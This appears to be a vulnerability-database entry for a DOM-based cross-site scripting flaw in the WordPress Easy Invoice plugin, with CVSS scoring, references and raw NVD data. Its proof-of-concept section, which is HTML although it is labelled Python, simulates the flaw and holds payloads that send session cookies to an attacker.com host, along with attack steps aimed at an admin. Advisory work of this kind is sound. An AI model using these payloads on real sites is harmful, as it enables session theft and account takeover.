CVE-2025-6324

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in MatrixAddons Easy Invoice easy-invoice allows DOM-Based XSS.This issue affects Easy Invoice: from n/a through <= 2.0.9.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Easy Invoice <= 2.0.9

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-6324 PoC - DOM-Based XSS in WordPress Easy Invoice Plugin -->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-6324 PoC</title>
</head>
<body>
    <h2>CVE-2025-6324 DOM-Based XSS PoC</h2>
    <p>Target: WordPress Easy Invoice Plugin <= 2.0.9</p>
    
    <!-- Simulated vulnerable endpoint -->
    <form id="vulnForm">
        <label>Invoice Number:</label>
        <input type="text" id="invoiceNum" name="invoice_num" value="">
        <button type="button" onclick="generateInvoice()">Generate Invoice</button>
    </form>
    
    <div id="invoicePreview"></div>
    
    <script>
        // Simulating the vulnerable code pattern in Easy Invoice plugin
        function generateInvoice() {
            // VULNERABLE: Direct DOM manipulation without sanitization
            var invoiceNum = document.getElementById('invoiceNum').value;
            var previewDiv = document.getElementById('invoicePreview');
            
            // This simulates the vulnerable code: directly inserting user input into DOM
            previewDiv.innerHTML = '<h3>Invoice: ' + invoiceNum + '</h3>';
        }
        
        // Attack payload to steal cookies
        var xssPayload = '<img src=x onerror="fetch(\'https://attacker.com/steal?cookie=\'+document.cookie)\;">';
        
        // Alternative payload using script tag
        // var xssPayload = '<script>fetch("https://attacker.com/steal?data="+btoa(document.cookie))</script>';
        
        console.log('PoC Payload:', xssPayload);
    </script>
    
    <p><strong>Attack Steps:</strong></p>
    <ol>
        <li>Inject XSS payload into invoice_num parameter</li>
        <li>Payload: <code>&lt;img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)&gt;</code></li>
        <li>When admin views the invoice, the malicious code executes</li>
        <li>Attacker receives stolen session cookies</li>
    </ol>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-6324
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-6324
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-6324/
[4] VulDB https://vuldb.com/cve/CVE-2025-6324
[5] https://patchstack.com/database/Wordpress/Plugin/easy-invoice/vulnerability/wordpress-easy-invoice-plugin-2-0-9-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-6324", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:16:16.817", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in MatrixAddons Easy Invoice easy-invoice allows DOM-Based XSS.This issue affects Easy Invoice: from n/a through <= 2.0.9."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/easy-invoice/vulnerability/wordpress-easy-invoice-plugin-2-0-9-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}